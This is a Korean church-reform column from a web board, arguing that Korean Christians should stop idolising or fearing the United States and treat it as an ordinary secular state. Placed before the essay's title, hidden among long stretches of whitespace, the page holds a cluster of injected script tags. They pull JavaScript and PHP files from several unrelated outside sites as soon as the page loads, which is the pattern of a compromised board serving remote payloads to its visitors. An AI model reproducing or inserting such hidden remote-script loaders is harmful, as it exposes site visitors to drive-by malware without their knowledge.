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칼럼 [구교형 칼럼] 신앙인의 눈으로 다시 평가해야할 미국

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작성자 by 관리자 / 작성일04-07-28 12:11 / 조회 4,297 / 댓글0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    신앙인의 눈으로 다시 평가해야할 미국
(친미․숭미․외미)

                                                                                                  구교형 사무국장(교회개혁실천연대)

세상이 참 많이 변했다. 심지어 이제 우리 국민들은 “우리 안보를 위협하는 제 1의 주적이 누구냐”는 질문에 북한 대신 미국을 꼽고 있는 형편이니 말이다. 지금 우리는 미국을 어떻게 보아야 하며, 앞으로 어떤 관계를 맺어가야 할 것인지 중요한 기로에 서 있다. 더구나 그것은 우리 신앙인들에게는 더욱 중요한 문제라고 생각한다. 그 이유는 미국에 대한 우리 각자의 판단이 하나님 앞에서 굉장히 중요한 신앙적 질문을 던지기 때문이다. 앞서도 말했듯이 이미 우리사회는 걷잡을 수 없을 만큼 빠르게 미국에 대한 재평가의 분위기가 확산되어 가고 있는 것 같다.
그러나 필자가 판단하기에는 지금 우리가 미국을 바라보는 시선은 단지 친미와 반미라는 이분법으로 구분하는 것이 무의미할 만큼 다양한 스팩트럼을 지니고 있는 것 같다. 그러므로 필자는 지금까지와 같이 단순히 친미와 반미의 이분법으로만 나누는 구분은 더 이상 미국을 축으로 전개되고 있는 지금과 같은 다양한 반응들을 제대로 설명할 수 없다고 생각한다. 따라서 필자는 이 글에서 특히 지금까지 친미라는 한 틀로만 고정되었던 시선들을 친미, 숭미, 외미로 다양화하면서 그 시선들이 갖는 중요한 신앙적인 질문을 던지고자 한다.

1. 친미(親美)
필자는 친미를 전통적인 기성세대가 보여 왔던 미국에 대한 막연한 우호감정, 친근한 시선이라고 정의하고 싶다. 미국하면 떠오르는 이미지인 ‘자유’ ‘민주주의’ ‘풍요’ ‘우방(동맹, 혈맹)’ ‘평화의 사도’ 등으로 정의되는 ‘더할 수 없이 좋은 친구이며, 어려울 때 도와주었던 이웃’말이다. 우리는 특히 50-70년대까지의 발전과정에서 이러한 감정을 많이 느껴왔다. 특히 한국전쟁 전후로 안보와의 관련성에서 이러한 이미지는 더욱 굳어졌다. 그런 면에서 요즘 젊은이들의 미국인식 변화에 대해 이들이 갖는 우려와 두려움은 매우 크다. 굳이 말한다면 이것은 미국을 깊이 생각하기 보다는 우선 떠오르게 되는 순수한 짝사랑 같은 것이다.
대부분의 진보세력들은 이들이 우리사회의 민주화와 민족통합, 인권의 적이라고 생각하는 것 같으나 나는 그렇게 보지 않는다. 사실 이들은 피해자다. 마치 과거 군사독재정권들에 의해 가장 많은 피해를 받아오면서도 선거 때만 되면 ‘그 놈의 안정 때문에’ 여당을 찍어왔던 농민, 노동자들과 같다. 체제문제와만 관련되면 언제나 복장을 통일해 입고 제일 앞장서서 달려 나오는 실향민, 탈북자, 군경가족, 상이군인 등이 어떻게 수구세력이라고 할 수 있는가? 그들의 삶이 어찌 기득권과 관련된 것이라고 할 수 있는가? 그들은 수구 기득권세력들에 의해 속아 조종되고 있을 뿐이다.
지난 대통령 탄핵 때 우리는 그동안 서로 하나로만 알고 있었던 보수세력과 수구 기득권층사이의 분리를 체험했다. 지금까지 수구세력들은 자신들의 이해관계를 국가와 민족, 국민 전체의 이해로 가장하며 특히 대다수 보수적인 국민들을 조종하여 자신들의 기득권을 유지해 왔다. 그런데 기만적이긴 하지만 김영삼 정부와 그 이후 김대중, 노무현 집권을 거치면서 그러한 기만적 조종이 갈수록 어려워진다는 것을 절실히 깨닫는다.
그래서 수구 기득권층은 기존의 안정희구 친미보수 코드만으로는 더 이상 자신들의 기득권을 지켜갈 수 없다는 것을 절실히 깨닫고, 마침내 새로운 파트너를 발굴해 낸다. 기독교적 분위기를 물신 풍기는 ‘청교도 국가 미국’이라는 허울을 통해 종교 근본주의와 결합하여 그들에게 성속(聖俗) 기득권 수호라는 신성한 사명을 맡긴 것이다. 이른바 수구기득권 대연합이다.

2. 숭미(崇美)
그렇게 해서 탄생한 것이 바로 숭미다. 성경시대로 말한다면 세속권력집단인 헤롯당파와 종교기득권층인 사두개파의 연합전선이라 할까. 이것은 앞서 말한 대로 기존의 수구 기득권 세력과 종교(기독교)근본주의자들의 결합이기 때문에 미국에 대해 아주 맹목적이고 신앙적인 숭배심을 갖고 있다. 한국교회의 대표적인 어느 교회 주일예배에서 담임목사가 행한 설교 가운데 이런 내용이 있다. "…역사에 미국을 그렇게 경홀히 여기고 가볍게 생각하는 나라들은 모두 큰 재앙과 심판과 멸망을 받았습니다.…미국의 진단은 정확합니다. 미국이 강도라고 그러면 강도입니다. 미국이 암이라고 그러면 암입니다. 미국의 진단은 정확합니다…."(뉴스앤조이 2002년 3월 15일)
이들이 미국에 대해 갖는 충성심은 신앙적인 것이기 때문에 비판의 여지가 없고, 그렇기 때문에 더욱 노골적이다. “미국은 하나님의 복을 받은 나라이므로, 미국을 따라야만 우리도 하나님께 복을 받고 강대국이 될 수 있다.” 이런 논리다. 이들은 민족기념일인 삼일절이나 광복절에도 대형 성조기를 들고 미국을 위해 기도한다. 심지어 미국의 풍요는 역대 모든 미국 대통령들의 기도에 대한 하나님의 축복의 결과라는 책까지 번역되어 인기를 끌고 있다.
또 이들은 한미동맹을 말한다. 그러나 이들이 말하는 한미동맹은 미국 쪽에는 일방적으로 지도해 갈 수 있는 자격을 주고, 우리 쪽은 따라가야 할 의무만을 말한다. 한미동맹을 지키기 위한 미국의 책임은 없고, 오직 우리만 잘하면 된다는 식이다. 지난 6월 미 국방부 부차관보 롤리스는 주한 미군 대체부지가 확정되지 않는 것은 전적으로 한국의 탓이며(사실 대체부지 협상의 이전 합의를 일방적으로 깬 것은 미국이었음에도 불구하고), 그럴 경우 한국에 피해가 갈 것이라는 협박성 망언을 했지만 우리 수구언론들은 이를 당연하게 여기며 오히려 한국정부를 압박했다. 이들의 한심함은 세월이 아무리 변해도 우리와 미국의 입장은 언제나 같을 것이고, 미국은 우리를 영원토록 지켜줄 것처럼 말한다는 것이다. 이들은 역사를 고정적으로 보는 단순함이 있다. 한번 동지는 영원한 동지요, 한번 적은 영원한 적이다.
솔직히 우리나라에는 미국인 자신들보다 미국을 더 믿고, 더 사랑하는 사람들이 제법 많고, 그 가운데는 우리 사회에 중요한 여론을 형성하는 사람들이 상당히 많다. 그들은 이 나라에 살고 있으면서도 미국의 언론, 미국의 기준, 미국의 판단이 언제나 우리 자신(정부)의 그것보다 더 진실하며, 더 권위 있다고 믿으며 백성들을 그렇게 가르친다. 심지어 그들은 우리 정부의 대외정책이 미국의 그것과 조금이라도 다르면 벌떼처럼 들고일어나 문제를 삼고 심지어는 그것을 불경스럽게까지 생각한다. 조선시대 주자학의 권위가 흔들렸을 때 원산지 중국에서보다 우리 조선의 조정에서 더 파문이 많았던 것을 기억한다면 이 얼마나 오래 체질화된 사대본능(?)인가.
성경적으로 말한다면 이것은 분명 우상숭배다. 이와 비슷한 경우를 우리는 구약 이스라엘의 역사 가운데서 잘 찾아볼 수 있다. 유다 왕국이 부정부패와 우상숭배 등으로 기울대로 기울고 주변강대국들은 호시탐탐 유다의 멸망을 재촉하고 있을 때였다. 특히 신흥강국 북쪽 앗수르 왕국의 위협을 두려워하여 유다는 전통적인 강대국인 애굽과 동맹을 맺어 나라를 보존하자는 친 애굽파가 득세하고, 심지어 애굽에서 파견된 관리들은 예루살렘을 방문하여 “우리와 동맹을 맺었으니 앗수르의 위협 따위는 걱정 말라”고 떠들고 다닌다. 하나님을 의지하기 보다는 한사코 강대국이 나라를 지켜줄 것이라고 믿고 있던 국가 지도자, 종교 지도자들을 향해 선지자 이사야는 이렇게 외친다.
“…그들이 계교를 베푸나 나로 말미암아 하지 아니하며 맹약(동맹)을 맺으나 나의 신으로 말미암아 하지 아니하였음이로다. 그들이 바로의 세력 안에서 스스로 강하려 하며 애굽의 그늘에 피하려 하여 애굽으로 내려갔으되 나의 입에 묻지 아니하였으니 죄에 죄를 더하도다.…애굽의 도움이 헛되고 무익하니라…”(사 30:2, 7)
“도움을 구하러 애굽으로 내려가는 자들은 화 있을지저 그들은 말을 의뢰하며 병거의 많음과 마병의 심히 강함을 의지하고 이스라엘의 거룩하신 자를 앙모치 아니하며 여호와를 구하지 아니하거니와…애굽은 사람이요 신이 아니며 그 말들은 육체요 영이 아니라. 그 손을 드시면 돕는 자도 넘어지며 도움을 받는 자도 엎드러져서 다 함께 멸망하리라.”(사 31:1, 3)
입으로는 하나님이 우리를 지키실 것이라고 하면서도 실제로는 미국의 힘을 굳게 믿고 살아가는 이 땅의 수구 기득권자들과 종교지도자들은 분명 미국을 숭배하고 있다. 바로 얼마 전에도 이름만 대면 다 알 수 있을만한 한국교회 원로들이 “우리의 안보와 한미동맹, 경제회생을 위해서라도 이라크에 파병해야한다”고 외쳤다. 세상이 이토록 더 혼탁해 지는 것은 교회 지도자들이 신앙인답게 예수님의 마음으로 판단하기보다는 청와대나 국방부와 똑같은 가치판단에서 벗어나지 못하기 때문이라고 생각한다. 분명히 말하지만 강대국의 힘이 우리를 지킬 것이라고 믿는 사람은 결코 하나님의 종이 아니다.

3. 외미(畏美)
앞서 밝힌 두 부류, 미국을 순진하게 바라보며 흠모하는 사람들이나 신처럼 숭배하는 사람들은 냉철한 판단이나 논리보다는 감정적인 부분에 많이 치우쳐 있다고 할 수 있다. 그런데 가만히 생각해 보니 이들과는 또 다른 각도로 미국을 추종하는 사람들이 있다. 필자는 이들의 특징을 외미(畏美)라고 부르고 싶다.
이들은 앞서와 같이 미국을 그렇게 순진하게 바라보지 않는다. 미국의 문제점과 위험성을 누구보다 더 잘 안다. 그저 감정이 앞서서 미국을 떠받들거나 무조건 배격하는 사람들이 아니라 문제의 본질을 살펴 시시비비를 가릴 줄 아는 사람들이다. 그래서 언뜻 보면 마치 반미주의자 같기도 하다. 그럼에도 불구하고 이들의 결론은 미국의 그 강고한 권세에 감히 저항할 수 없다고 말한다. 미국이 불의하고, 우리가 좀 억울한 바가 있을지라도 감히 국제사회에서 미국의 입김을 거스르며 살 수는 없기 때문에 “국익을 위해서라도” 미국을 따라야 한다고 굉장히 점잖게 주장한다.
특별히 “약소국”인 우리는 생존을 위해서라도 숙명처럼 미국을 따라야 한다고 말한다. 이러한 태도는 특히 세계정세니 한국경제니 제법 배울 만큼 배운 지식인들에게 많이 나타나는 태도다. 성경을 보아도 백성들에게 제법 인기도 많고 상당히 민족주의자처럼 보였지만, 사실은 로마의 지배질서 자체를 숙명적으로 받아들였던 바리새인과 서기관들과 같은 위선적인 지식인들이 나타난다.
요즘 이라크 파병을 앞두고 연일 논란이 많다. 그런데 많은 이 땅의 지식인들은 예전처럼 미국이 일으킨 전쟁을 더 이상 지지하지 않는다. 그들은 이라크 전쟁을 분명히 미국의 욕심이 빚어낸 침략전쟁이라고 말한다. 그러나 파병문제에 대해서는 입장을 달리한다. 이라크전이 잘못된 전쟁이요 따라서 파병하고 싶지는 않으나 미국의 요구를 거절하면 미군철수로 안보의 위기가 오고, 경제적 압력으로 국제신인도가 추락되는 등 국익에 막대한 손해가 오므로 울며 겨자 먹기로라도 파병해야 한다고 말한다. 흔히 제법 비판적 지식인처럼 보이는 사람들 가운데도 이런 사람들은 의외로 많다. 그래도 좀 다르리라 생각했던 노무현 대통령에게서 전형적으로 드러나는 태도 역시 바로 이 ‘외미’다.
필자가 이런 태도를 ‘외미’라고 부르는 이유는 마치 싫지만 저항 수 없는 귀신에 씌운 것처럼 미국을 결코 저항할 수 없는 불가항력적인 권세로 보기 때문이다. 그것이 비록 옳지 않고 싫은 일이라도 미국의 뜻만큼은 결코 거스를 수 없다고 굳게 믿고 있다. 미국은 영원토록 변치 않는 이 세계의 주인이라는 “미국불패”의 신화다. 필자는 이러한 외미가 친미나 숭미보다 더 위험하다고 본다. 왜냐하면 이러한 외미는 결국 힘을 숭배하는 것에 다름 아니기 때문이다. 그리고 그럴 수밖에 없는 이유가 “우리나라는 약하기 때문에”라고 말한다.
그런 면에서 필자가 볼 때 미국은 단순히 하나의 나라가 아니라 우리가 닮아가기 원하는 국가상을 알아볼 수 있는 가치판단의 잣대다. 미국을 욕하면서도 마음속으로는 한없이 미국을 닮아가기 원하는 사람들. 그들의 꿈은 미국처럼 강력하고 부유한 패권국가가 되는 것이다. 그런 면에서 그것은 질투다. 마치 마음속으로는 한없이 바람을 피우고 싶지만 사람들의 이목이 두려워 범생이로 살아온 사람이 외도하는 사람들에 대해 갖게 되는 극도의 증오심과 같은 것이다. 결국 우리는 미국이라는 한 나라에 대해 어떠한 입장을 취하고 있는가를 통하여 우리 각자가 어떤 조국을 원하는가를 알 수 있게 된다.

믿어 달라. 나는 결코 반미를 주장하려는 게 아니다. 내가 정말 하고 싶은 말은 미국을 지지하든 반대하든 미국을 “하나님”처럼 우러러 섬겨서도 안되고, “귀신”처럼 그 힘에 압도되어 무조건 따라서도 안되며, 그렇다고 모든 악의 근원인 “사단”처럼 보아서 미국만 타도하면 세계평화가 올 것처럼 보지도 말자는 것이다. 이런 신화적 접근법을 제발 버리고 미국은 그저 자기 국익을 위해 최선을 다하는 하나의 세속국가로 보자는 것이다. 그러므로 협력할 부분에서는 최선을 다해 미국과 협력하되 우리 입장과 다른 부분들은 이제부터라도 단호히 “다르다”고 할 수 있는 뚝심을 보여줘야 할 것이다.
미국을 말할 때마다 우리 국민들이 흔히 혼돈하기 쉬운 것이 바로 미국이라는 나라가 그동안 보여 왔던 좋은 이미지다. 현대 세계사에서 미국이라는 나라가 보여주었던 상대적인 진보성, 자유와 기회의 땅, 그리고 우리나라와의 특별한 관계 등을 필자 역시 결코 부인하지 않는다. 그러나 중요한 것은 과거 뿐 아니라 현재와 미래의 전망이다. 그 나라(개인)가 세계사의 발전에 디딤돌이 될 것이냐 걸림돌이 될 것이냐를 결정하는 것은 그저 흘러간 시대의 역할 뿐만이 아니다. 그런 면에서 본다면 2004년 현재 부시의 미국은 분명히 세계평화와 발전을 역행하는 흉포한 패권주의자다. 노무현의 실패는 바로 이러한 인식의 실패다. 지금 미국에 대한 재평가와 신앙적 고민 없이는 한반도 평화도, 민족복음화도 기대하기 어렵다. 반미나 미군철수를 주장하려는 게 아니다. 지금 우리가 미국과 미국의 기독교로부터 정신적으로 독립할 때 한국교회는 비로소 민족복음화와 토착화를 시작할 수 있다는 말이다. “미국, 그동안 고마웠다. 그러나 이제는 우리의 발로 서야한다.”
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